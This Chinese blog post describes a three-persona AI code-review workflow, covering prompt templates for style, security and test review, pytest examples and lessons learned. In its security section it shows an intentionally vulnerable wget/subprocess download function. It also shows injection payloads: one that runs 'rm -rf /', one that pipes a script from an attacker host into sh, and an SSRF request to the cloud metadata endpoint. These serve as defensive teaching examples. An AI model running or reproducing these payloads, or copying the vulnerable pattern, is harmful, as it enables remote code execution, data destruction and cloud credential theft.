挑刺结果怎么落地挑刺专家的报告拿到手之后我的处理流程是严重级别的问题逐条人工确认。每条都去代码里找到对应行确认是否真实存在运行时风险。多数情况下AI说得很准尤其是None运算、隐式契约依赖这类问题。建议级别的问题批量过一遍能顺手改的直接改。这个级别的输出通常包含命名问题、异常处理缺失、类型校验缺失——改动成本低收益明确。可选级别的问题记进待办清单不急着改。比如错误信息太笼统这种适合和产品一起讨论。有一个小技巧是让挑刺专家把修改后的完整代码也输出一份。虽然不能直接照抄但它提供的修正版本会展示一种具体的改进方向。我会对照它修改后的代码和自己原来的代码理解它的修改思路再决定怎么落地。尤其是同一个问题AI给出的多种修法比如校验类型 vs 返回400 vs 改成可选链能帮我快速比较不同方案的取舍。3. 找漏洞专家怎么调教把攻击路径和CWE编号逼出来第二个身份是找漏洞专家。这个身份最需要注意的是提示词必须限定它给出可验证的信息。安全审查最怕的就是AI假装找到漏洞说一堆可能存在XX风险的正确废话。所以我的提示词里明确要求必须给CWE编号、触发条件、利用路径和修复建议同时允许它说没有发现问题。3.1 安全审查提示词设计# 角色 你是一名资深安全研究员熟悉OWASP Top 10和CWE分类体系有多年Web应用漏洞挖掘和漏洞复现经验。 # 任务 请以安全专家的身份审查下面这段代码。除了代码本身请特别关注以下几个方面 1. 注入类SQL注入CWE-89、命令注入CWE-78、模板注入、反序列化漏洞 2. 认证与授权身份校验缺失、越权访问、会话管理缺陷 3. 输入验证不可信数据是否流向了危险函数文件操作、系统调用、网络请求 4. 敏感信息硬编码密钥、明文密码、日志泄露、错误信息过度暴露 5. 服务端请求伪造用户可控的URL是否被用于发起任意请求CWE-918 # 输出要求 每个可能的问题按以下格式输出 - 风险等级严重 / 高危 / 中危 / 低危 - 漏洞类型CWE编号 名称 - 代码位置对应行或函数 - 触发条件需要什么样的输入或前置条件 - 利用路径攻击者从入口到最终影响的完整步骤 - 修复建议具体到代码层面的改法 如果代码确实没有典型安全问题请直接说没有发现可利用的安全缺陷。不要为了凑数而强行报告。 # 审查对象 python [代码粘贴在这里]很多人在安全审查上有个误区追求AI给出所有漏洞。但实际上AI更适合做按图索骥——你告诉它危险函数有哪些、常见漏洞模式有哪些它非常擅长在代码里搜索这些模式并给出推理链。这正是提示词里列出一堆CWE编号的原因。模型不需要真的去查CWE数据库但它在训练时见过这些编号对应的漏洞模式给出编号能强制它把分析对齐到具体的、可验证的漏洞类别上而不是说这里存在安全隐患这种没用的废话。 ### 3.2 实例从下载功能代码看SSRF和命令注入怎么被揪出来 下面这段代码是我在测试环境里故意留的一个典型反例一个看似简单的文件下载功能 python import subprocess import os def download_file(url, dest_dir): filename url.rstrip(/).split(/)[-1] dest_path os.path.join(dest_dir, filename) subprocess.run(fwget -O {dest_path} {url}, shellTrue, timeout30) return dest_path这段代码的问题非常典型。把url直接拼进shell命令本身就是命令注入的温床。只要url的值是http://example.com/a; rm -rf /拼出来的命令就变成wget -O /srv/download/a; rm -rf / http://example.com/a; rm -rf /。这是我用找漏洞专家实际跑出来的输出【严重】CWE-78 OS命令注入 位置第4行 subprocess.run(fwget -O {dest_path} {url}, shellTrue) 触发条件url 或 filename 中包含 shell 元字符;、|、、$() 等且攻击者可以控制 url。 利用路径构造 urlhttp://example.com/x;curl http://attacker.com/shell.sh|sh拼接后系统将依次执行 wget 和 curl 命令实现任意命令执行。 修复建议去掉 shellTrue改为参数列表形式subprocess.run([wget, -O, dest_path, url])。同时用 shlex.quote 对文件名做转义。 【高危】CWE-918 服务端请求伪造 (SSRF) 位置第4行 wget 请求的 url 直接来自用户输入 触发条件攻击者可控 url且服务器有内网资源访问权限。 利用路径让服务器访问 http://169.254.169.254/latest/meta-data/ 获取云主机元数据或访问内网管理后台。 修复建议对 url 做协议白名单仅允许 http/https域名解析后校验目标IP不是内网段RFC1918。这份报告最实用的地方在于它把两类完全不同的漏洞从同一段代码里分开了。命令注入是命令拼接导致的SSRF是URL来源不可信导致的。修复方式也不同前者去掉shellTrue改成参数列表后者做协议白名单和IP校验。如果我用笼统提示词AI大概率只会说建议使用安全的方式执行wget根本不会分CWE、给利用路径。我要说明一句这里的修复建议基于通用最佳实践实际落地时还需要结合项目上下文。比如去掉shellTrue后wget的-O参数和文件名拼接是否还会受 shell 元字符影响需要你对照真实代码确认。3.3 关于CVE、新漏洞和情报投喂的实话这一节必须说点实在话。很多人在用AI做漏洞挖掘时会期待它发现最新的CVE漏洞比如热词里提到的CVE-2024-38819、CVE-2002-20001这类。这里有个残酷的事实大语言模型的知识截止日期是训练完成的时间点。它不知道训练数据之后公开发布的新漏洞。你拿一个2024年新曝出的CVE去问AI它要么编一个答案要么直接告诉你我没有相关信息。但实际工作里有一个很有效的做法把漏洞公告的细节喂进上下文让AI做一个按图索骥的审查。比如你想知道项目代码里是否存在CVE-2024-38819那种漏洞模式就把该CVE的官方描述、影响版本、修复补丁diff贴给找漏洞专家然后让它审查你的代码库中是否有类似的写法。注意处理某个具体CVE时最高效的方式不是让AI凭空挖掘而是把漏洞情报当作上下文喂进去让AI成为你的搜索放大器按公告里的模式去遍历代码、标记疑似位置。这样AI的错误率会大幅下降因为它不再依赖自己过时的知识而是基于你提供的最新情报做模式匹配。另外AI在漏洞审查上的另一个价值是经典模式复现。缓冲区溢出、整数溢出、反序列化、JWT算法混淆、Fastadmin任意文件上传这类经典模式在训练语料里有大量案例AI识别起来非常熟练。你在代码里跑一遍它通常能帮你找到不少老问题的变体。但它对新出的、训练数据之外的高危漏洞基本无能为力这部分只能靠人工跟进In和漏洞情报源。这也是为什么我最开始强调AI安全审查是辅助工具不是替代品。4. 补测试专家怎么调教让测试从缺陷清单里长出来前两个专家负责找问题第三个专家负责补测试。补测试专家和前两个有本质区别它不是在真空中写测试而是要基于前两个专家产出的缺陷清单针对性地生成回归测试。这样一来测试用例的目的性非常强——每一个用例都能追溯到某个具体的缺陷而不是单纯为了凑覆盖率。这个设计是我用了三四个月之后才稳定下来的因为早期我直接让AI写单元测试它生成的测试用例看起来花团锦簇实际上大部分在测试无关紧要的细节。4.1 补测试提示词设计# 角色 你是一名资深的测试架构师精通pytest、单元测试、接口自动化、覆盖率分析。你善于根据代码缺陷反推测试用例。 # 任务 以下是代码审查中发现的问题清单以及对应的代码片段。请根据这些问题设计补充测试用例 1. 针对问题清单中的每一个缺陷设计能够复现该缺陷的回归测试 2. 针对代码的核心业务逻辑分支补充边界测试 3. 针对异常输入补充防御性测试 4. 不需要重复已有的常规测试专注在未被覆盖的路径和缺陷回归 # 输出要求 - 使用 pytest 框架 - 每个测试用例要说明它对应哪个缺陷、覆盖了哪个分支、预期结果是什么 - 测试代码要能直接运行不使用 mock 封装不存在的依赖 - 如果代码需要测试客户端如 Flask test_client请直接使用 # 缺陷清单 [粘贴挑刺专家和安全专家的问题列表] # 代码 python [粘贴待测代码]这里最关键的一句话是根据缺陷反推测试。因为直接让AI写测试时它倾向于写一套漂亮但低价值的冒烟测试但当你把具体的缺陷列表贴给它时它就不得不逐个缺陷去设计如何让这个缺陷暴露出来的测试用例。这种由缺陷驱动的测试设计效率和价值远高于无目的的测试生成。 ### 4.2 pytest用例生成实例从必现Bug到参数化边界 还是用前面那个 Flask 订单接口的例子。挑刺专家指出了 price 可能为 None、user 可能不是 dict、items 可能为空等几个问题。补测试专家基于这些缺陷生成的测试如下 python import pytest from app import app pytest.fixture() def client(): app.config[TESTING] True with app.test_client() as c: yield c class TestCreateOrder: pytest.mark.parametrize(payload, expected_status, [ (None, 400), ({}, 400), ({user: {id: 1}}, 400), ({user: {id: 1}, items: []}, 400), ({user: {id: 1}, items: [{price: None, quantity: 1}]}, 500), ({user: {id: 1}, items: [{price: 10, quantity: None}]}, 500), ]) def test_create_order_edge_cases(self, client, payload, expected_status): resp client.post(/api/order, jsonpayload) assert resp.status_code expected_status def test_create_order_empty_quantity_is_one(self, client): resp client.post(/api/order, json{ user: {id: 1}, items: [{price: 20}], }) assert resp.status_code 201注意这里的一个细节price: None的用例预期状态码是500。为什么是500而不是400因为当前代码里total price * qty会直接抛TypeError没有被异常处理捕获。这个用例就是必现Bug回归测试——在修复前的代码上它应该失败返回500在修复后的代码上它应该变成400。跑测试的时候你会看到它先在旧代码上红然后你修好代码再跑变绿。整个过程就是一个标准的TDD循环只是测试用例的设计者是AI。补测试专家还会额外解释每个用例的意图。例如{user: {id: 1}, items: []}这个用例是为了验证空订单必须返回400的业务规则{user: {id: 1}, items: [{price: 20}]}是为了验证quantity 缺省默认为1。这些意图说明对后续维护测试的人非常有帮助。4.3 测试筛选原则别把AI生成的用例全塞进CIAI生成的测试代码有一个非常明显的特征密度高、噪声也高。也就是说它可能一口气产出二十个用例其中十五个有价值五个是在测试鸡毛蒜皮。如果全量塞进CI副作用是真实的——测试运行时间变长代码库被无效用例拖累维护成本随之上涨。我的筛选原则按优先级排序缺陷回归测试必须保留。这是AI补测试专家最大的价值。它能够精确生成在修复前失败、在修复后通过的用例这些用例直接服务于你修复缺陷后的验证。核心业务分支保留。比如空订单返回400、quantity缺省为1、校验通过返回201这类关键业务规则的用例。极端边界测试看情况保留。比如priceNone、quantityNone这类异常输入的用例如果代码修复后预期是400保留下来有防回归价值。如果预期是500比如还没有修复先不急着塞CI等修复后改预期再收。没有断言的伪测试直接剔除。AI偶尔会生成执行了某个函数但没有任何预期断言的测试这类测试除了让覆盖率数字好看没有任何工程意义。另外还有一个易被忽略的点AI生成的测试文件名和测试类名要重写。AI默认生成的名字往往没有业务含义比如test_create_order_edge_cases。你最好根据测试的业务意图改名比如test_order_rejects_item_without_price。这样三个月后你翻测试代码一眼就能看出每个用例在保护什么而不是面对一堆抽象的edge_case。5. 三个专家同跑一套代码的编排方式与踩坑点三个专家身份分别跑一遍听起来简单实际操作中有几个关键编排点会直接影响最终效果。我初期的做法是把三个角色塞进同一个对话里连续切换结果互相污染很严重。后面经过调整跑出了一套稳定的流程。5.1 三步流水线的编排顺序我的推荐顺序是先挑刺再安全最后补测试。原因在于代码审查的三轮之间是递进关系。挑刺专家的输出会导致代码修改。如果先让安全专家和补测试专家分析旧代码等你依据挑刺意见改完代码安全报告的部分结论可能已经失效而补测试专家生成的测试可能也全都跑不起来。先跑挑刺等人工确认并完成代码修改后再跑安全安全审查也可能发现需要改的代码改完之后最后一步补测试才是基于最终代码生成回归用例。整个过程是[原始代码] ├─→ 第1轮挑刺专家 → 问题清单A → 人工确认 → 修改代码 ├─→ 第2轮找漏洞专家基于修改后代码→ 问题清单B → 人工确认 → 修改代码 └─→ 第3轮补测试专家基于最终代码 清单A和B→ 回归测试用例集 ↓ 人工筛选测试用例 → 直接执行验证如果你是在PR的diff review场景下时间和上下文紧张也可以把挑刺和安全并行跑但无论如何补测试这一轮必须在代码定稿后跑。这个顺序我踩过坑——有一回我先跑了补测试专家生成了二十个用例然后根据挑刺意见重构了代码结果一半测试因为函数改名直接红掉白白浪费了一轮工作。5.2 会话隔离是关键很多人在一个对话窗口里连续给AI下指令现在你是架构师审查这段代码...现在你是安全专家审查这段代码...。我实测下来效果远不如独立会话。原因就是上下文污染模型在一个对话中会继承前一个角色的语气、关注点和输出风格当它切换到安全专家身份时可能还会带着架构师的逻辑惯性。尤其是你先让挑刺专家批评了代码再让安全专家审查同样代码时安全专家会倾向于先入为主地认为代码里的问题和代码质量相关从而偏离安全维度。我的做法是三个专家使用三个完全独立的会话窗口如果用API就是三个独立的对话历史。每一次切换角色都必须清空之前的消息记录。如果因为平台限制必须在同一会话里做至少要用明确的分隔符重置上下文比如在切换角色前先发送一条结束上一个任务忽略所有之前的对话上下文请只关注下面这条新指令。但说实话效果依然不如独立会话。5.3 三份报告合并时的去重与冲突处理三个专家可能报出同一个问题。比如price可能为None这条挑刺专家会以代码质量风险报一遍补测试专家会以需要参数化用例覆盖边界报一遍。合并报告时我的处理原则是同一问题的不同描述合并以信息最完整的一份为准。比如挑刺专家说明了total None会抛TypeError补测试专家给出了重现用例那么合并条目就同时包含问题定位和回归测试用例而不是两条重复记录。冲突以安全专家的意见优先但需人工验证。当挑刺专家说这个写法可以优化、安全专家说这个写法会导致命令注入时直接按安全标准处理。安全问题是没有商量余地的。给每个问题编号并标注来源专家。这样在后续修复和测试验证阶段你可以把每个修复操作和测试用例精确关联起来。我给一个实际合并后的条目格式示例条目来源问题描述修复状态关联测试用例A-01挑刺专家CWE-78命令注入url直拼shell已修复REG-01A-02挑刺专家priceNone 导致TypeError已修复REG-02, REG-03A-03补测试专家空订单应返回400但未覆盖已通过REG-04合并报告这一步的价值在于它不仅记录问题还把修复动作、测试用例、人工确认状态串成一条可追溯的链路。这对后续的Code Review和漏洞修复报告很有用尤其是当你需要向团队说明这个问题是怎么发现、怎么验证、怎么防止回退的时候一份完整的合并报告能省掉大量口头解释。6. 实测半年的边界AI可靠什么、不可靠什么用这套三专家工作流跑了半年我逐渐摸清了AI代码审查的可靠边界。这里用一节内容把最真实的情况讲透——哪些场景可以放心交给AI哪些场景千万别指望它。6.1 可靠性分级AI在哪些审查任务上稳定输出我用一个分级表归纳一下实际感受方便你对照自己的场景任务类型AI表现我的处理方式代码可维护性审查命名、重复、结构很可靠严重级别人工确认后直接改注入类安全漏洞命令、SQL、模板可靠验证利用路径的真实可达性敏感信息泄露硬编码密钥、日志很可靠直接采纳单元测试/回归测试生成可靠但噪声高按价值筛选后保留复杂业务逻辑正确性只能发现内部矛盾必须以人工为主架构整体设计优化泛泛而谈不依赖AI新漏洞发现训练数据之后出现基本无效靠人工漏洞情报可靠性最高的是代码可维护性审查。模型在函数太长、命名太烂、重复代码、没有任何校验的None风险这类问题上的判断力已经超过多数初级开发。直接采纳它的严重级别建议基本能把代码质量拉到一个不错的水平。其次是注入类安全漏洞因为这类漏洞有固定的模式特征模型在训练数据里见得太多了。它给出的CWE编号和利用路径虽然偶尔偏理论化但方向基本正确。6.2 最容易忽略的三个坑第一个坑是AI的安全感溢出。当你明确告诉它你是安全专家后它会进入防御模式把很多不可达的路径也报成漏洞。比如我在一个只供内网调用的管理接口上跑了安全审查AI认认真真报了一堆CWE-89 SQL注入的可能性但我看了半天发现那个接口根本没有数据库操作。安全专家人设让模型变得过度警觉所以你拿到安全报告后必须做的事是先判断每个问题是否可达——攻击者能不能真的走到那行代码。不可达的问题记录但降级处理。第二个坑是测试用例的自证清白陷阱。补测试专家生成的用例都是针对它自己发现的问题。如果它在第一轮就没有注意到某个缺陷那它生成的用例也不可能覆盖那个缺陷。这个逻辑很绕但很重要AI无法证明自己没有遗漏它的测试用例只能覆盖它已知的问题不能覆盖它忽略的问题。所以补测试专家永远不能替代你针对业务规则设计的关键路径测试它只能做增量补充。第三个坑是长代码的注意力衰减。当一段代码超过两百行模型对前面部分的记忆会开始模糊审查后半段时可能忽略早期定义的一些变量状态。我的实测感受是超过三百行的函数AI很容易漏掉中间部分的细节。所以喂给AI的代码块要控制大小。如果函数很长拆成多个独立片段分别喂给同一个会话或者干脆先让挑刺专家分段审再汇总。宁可多跑几轮也不要一次性塞一大坨。6.3 我现在的最终工作流经过半年的实测调整我目前的工作流已经稳定成以下样子供你参考日常提交前用挑刺专家快速过一遍代码只处理严重级别的输出。这个动作每次耗时五分钟但能挡掉大部分低级错误。每周一次用找漏洞专家批量审查本周所有新增或变更的代码并结合依赖扫描的结果做交叉验证。安全审查的频率不能太低但也没必要每个commit都跑否则会淹没在噪声里。修复缺陷后把挑刺和安全两份报告中已经确认修复的问题清单连同最终代码交给补测试专家生成回归测试。人工筛选后直接塞进CI。这套流程跑下来我最大的体感是代码评审会议上怎么还有这种低级错误的尴尬场面明显少了。AI三个专家身份承担了初筛的角色把低级的、模式化的、一眼就能看出来的问题在提交前挡掉让人工审查可以把精力集中到真正需要人类判断力的地方——业务逻辑是否正确、架构是否合理、方案是否长期可持续。至于AI代码审查的边界我也已经想明白了。它是一台非常好用的模式匹配放大器任何有明确模式、固定规则、清晰判定标准的审查任务它做得又快又好。但涉及业务语义、系统全局、以及那些连人脑都很难形成的判断链时它只是提供了一份候选清单真正的决策依然得靠人。用不用得上关键是看你愿不愿意把它拆成具体的分工角色以及有没有耐心教会它在每一个角色范围内深度投入。